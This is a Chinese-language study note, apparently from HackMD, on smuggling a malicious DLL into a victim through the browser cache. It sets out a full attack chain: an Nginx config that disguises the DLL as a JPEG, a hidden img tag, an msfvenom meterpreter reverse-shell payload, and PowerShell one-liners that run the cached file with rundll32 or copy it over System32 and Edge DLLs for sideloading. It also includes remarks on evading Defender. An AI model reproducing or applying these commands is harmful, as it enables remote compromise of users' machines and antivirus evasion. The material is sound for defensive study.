# 用瀏覽器快取偷渡惡意檔案 ::: info 參考資料來源 https://www.ctfiot.com/153272.html https://sensepost.com/blog/2023/browsers-cache-smuggling/ https://infosecwriteups.com/browser-cache-smuggling-attack-71cb40e6ed29 ::: ## 技術背景 ### 什麼是瀏覽器快取 在網路上衝浪的時候,瀏覽器會載入大量文件,例如圖片、影片、CSS、JavaScript 等。載入同一個頁面兩次意味著瀏覽器將下載相同的檔案兩次,這種方式無用且需要耗費大量的CPU資源以及網路資源。 現代瀏覽器實作了一種機制,允許它們在本地儲存這些文件,這樣就不需要每次都下載它們。這種機制稱為瀏覽器快取。 利用快取的載入機制,這樣就可以方便駭客讓使用者自動下載檔案。 但是,瀏覽器不會只快取伺服器提供的任何檔案。它只會快取靜態資源:內容不會經常更改的文件。 因此,我們的瀏覽器主要會快取圖片、影片,有時還會快取 JS/CSS。如果我們能夠以某種方式欺騙瀏覽器快取包含Payload的檔案(例如 DLL 或 EXE)的文件,那就太好了。但該怎麼做呢? ### 瀏覽器快取機制 為了偵測要快取的文件,瀏覽器主要依賴 Web 伺服器發送的 Content-Type 標頭。例如,在下面的截圖中,我們可以看到檔案「avatar.jpg」是由伺服器發送的,其內容類型為「image/jpeg」:  在 Linux 上,Web 伺服器通常使用 /etc/mime.types 檔案來了解應為特定檔案傳回哪種內容類型。 /etc/mime.types 的內容通常如下:  該檔案包含連結到檔案副檔名的內容類型值。因此,當網頁伺服器(在本例中為 Nginx)發現該檔案avatar.jpg被要求時,它將檢查該mime.types檔案以確定 .jpg 副檔名的內容類型是什麼,並查看它是image/jpeg: 可以從覆蓋這些值來讓瀏覽器強制下載 DLL 或 EXE 檔案。因此只需將與 DLL 和 EXE 檔案相關的內容類型application/x-msdos-program更改為image/jpeg. 只需在 Nginx 設定中新增以下行即可完成此操作: `types { } default_type image/jpeg;` 這會使記憶體中的 mime 類型映射無效,然後將image/jpg未知類型的預設內容類型設為「 」(即所有文件,因為取消了映射)。將其包含在僅與Payload相符的「位置」區塊中將會實現所需的效果,而無需將所有內容變成「image」。 因此,我們就可以將 DLL 嵌入到 HTML 的 img 標籤中: ```htmlembedded <!DOCTYPE html> <html> <body> <h1>Browser cache smuggling</h1> <img src="calc.dll" style="display: none;"></img> </body> </html> ``` 當該程式被作為快取下載後,Defender不會因此有反應,因為當DLL被下載並儲存在快取中時,它被重命名為不含副檔名的隨機檔案名稱 因此,Defender 不會掃描該文件,並且我們的 DLL 可以根據需要保留在那裡 ## 工具:[Browser cache smuggling Attack](https://github.com/surya-dev-singh/BrowserCacheSmuggling) 安裝 ``` https://github.com/surya-dev-singh/BrowserCacheSmuggling.git apt-get install nginx pip3 install -r requirements.txt ``` 工具安裝完後,需要先生成一個惡意Dll,這邊使用msfvemon製作反向連線程式 `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.14.130 LPORT=4444 -f dll -o rev.dll ` 製作完後就可以執行Browser cache smuggling Attack工具 `python3 browsercachesmuggling.py --dll <malicious_dll>`  他開啟後預設port是81 接下來只需要透過firefox進行連線即可  連線後可看到快取檔案已新增  >路徑是 >C:\Users\user\AppData\Local\Mozilla\Firefox\Profiles\xdu0yz0r.default-release\cache2\entries 可以透過在瀏覽器輸入`about:cache?storage=disk`來看快取了什麼檔案 有看到惡意檔案rev.dll被載了下來  打開來可看到裡面有Tag:ENTRYPOINT  >加上這個Tag是為了方便後續進行利用時,可以用指令快速查找到我們的惡意程式是哪一個 >利用nginx的設定,可以在 HTTP 回應中建立一個標頭 >```html >server { > listen 80 default_server; > listen [::]:80 default_server; > root /var/www/html; > index index.html index.htm index.nginx-debian.html; > server_name _; > > # Adding the HTTP header TAG used to find the real DLL > location /calc.dll { > # Override the mime type > types { } default_type image/jpeg; > add_header Tag ENTRYPOINT; > } >} >``` 接著利用powershell執行下方指令 >-Pattern "ENTRYPOINT" 就是去尋找有這個Tag標示的檔案 直接執行rundll32把程式帶起來 ``` foreach ($files in @("$env:LOCALAPPDATA\Mozilla\Firefox\Profiles\*.default-release\cache2\entries\")) {Get-ChildItem $files -Recurse | ForEach-Object {if (Select-String -Pattern "ENTRYPOINT" -Path $_.FullName) {$dllPath = $_.FullName + '.'; rundll32.exe $dllPath,MainDll}}} ``` >rundll32有個特點,就是可以直接執行沒有.dll副檔名的檔案 > >所需要做的就是在快取的檔案名稱後面加上一個點,然後 rundll32 會執行它。更奇怪的是,我們之前看到快取的檔案不只是DLL,還有Metadata,但rundll32並不關心這些,而是會執行DLL。 複製惡意快取到特定路徑 ``` foreach($f in @("$env:LOCALAPPDATA\Mozilla\Firefox\Profiles\*.default-release\cache2\entries\")){gci $f -r|%{if(Select-String -Pattern "ENTRYPOINT" -Path $_.FullName){cp $_.FullName C:\Windows\System32\mswsock.dll}}} ``` >常見的Sideloading DLL手法,透過合法程式的動態連結功能把惡意DLL執行 ## 測試結果 想移動到system32裡面,看能不能透過其他程式偷偷的將他帶起來,然後被Defender抓到  然後Defender關了再移一次,被說沒權限  >system32的擁有者是TrustedInstaller,比管理員權限大很多,所以沒辦法動是正常的 >但可以依照這篇文章的操作去讓Administrator有權限刪改的樣子 >https://zhuanlan.zhihu.com/p/64445751 嘗試直接執行,萬惡的Defender又自動開起來在那邊給我擋🫠  關閉Defender之後,成功用rundll32把反向連結叫起來,連線成功  ### DLL側載入攻擊 這邊測試DLL側載到底能不能成功 >參考資料: >https://flangvik.com/posts/2019-06-25-sideloading-dll-like-apt1337/ >https://www.cnblogs.com/bonelee/p/16191861.html >https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/untitled-5/dll-side-loading 先用[Process Monitor](https://learn.microsoft.com/en-us/sysinternals/downloads/procmon)來抓取到底有啥DLL會被讀取 利用filter功能去做篩選  >這邊的篩選條件分別是 >* 檔案由dll做結尾 >* 篩選64位元的檔案 >* 抓取除了C:\windows路徑下的檔案 可以得出以下檔案  這邊選擇msedge.dll來做目標 >路徑`C:\Program Files (x86)\Microsoft\Edge\Application\120.0.2210.144`  使用以下指令來將透過快取偷渡的惡意檔案取代原本的dll ``` foreach($f in @("$env:LOCALAPPDATA\Mozilla\Firefox\Profiles\*.default-release\cache2\entries\")){gci $f -r|%{if(Select-String -Pattern "ENTRYPOINT" -Path $_.FullName){cp $_.FullName "C:\Program Files (x86)\Microsoft\Edge\Application\120.0.2210.144\msedge.dll"}}} ``` >但還是不能開Defender,他只要改名就會偵測到,可能真的要研究有啥不會被檢測到的C2 啟動edge後,可以在攻擊端看到有連線連回來  >但過了改名及複製那一關之後,直接啟動已經是惡意程式的msedge.dll他是不會去做檢測的 >難怪很多人對載入dll做惡意攻擊樂此不疲,因為Defender根本不會管你 >經多次手動檢測發現Defender會在檔案有遭改動的時候去做檢查,Ex:改名、移動、複製貼上 >但單純執行他並不會去阻攔(已知僅限DLL檔,如果是exe那種執行檔會直接被掃描,連存在都不給你存在) >但主要是meterpreter太容易被檢測,一下就被抓到特徵 >但如果有那種可以繞過檢測的C2,那好像用啥檔案種類都不是問題了(X >但感覺DLL存活率高,如果他不會被檢測的話,相比其他類型檔案可能病毒碼一更新就會被殺 >[name=羽澤]
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up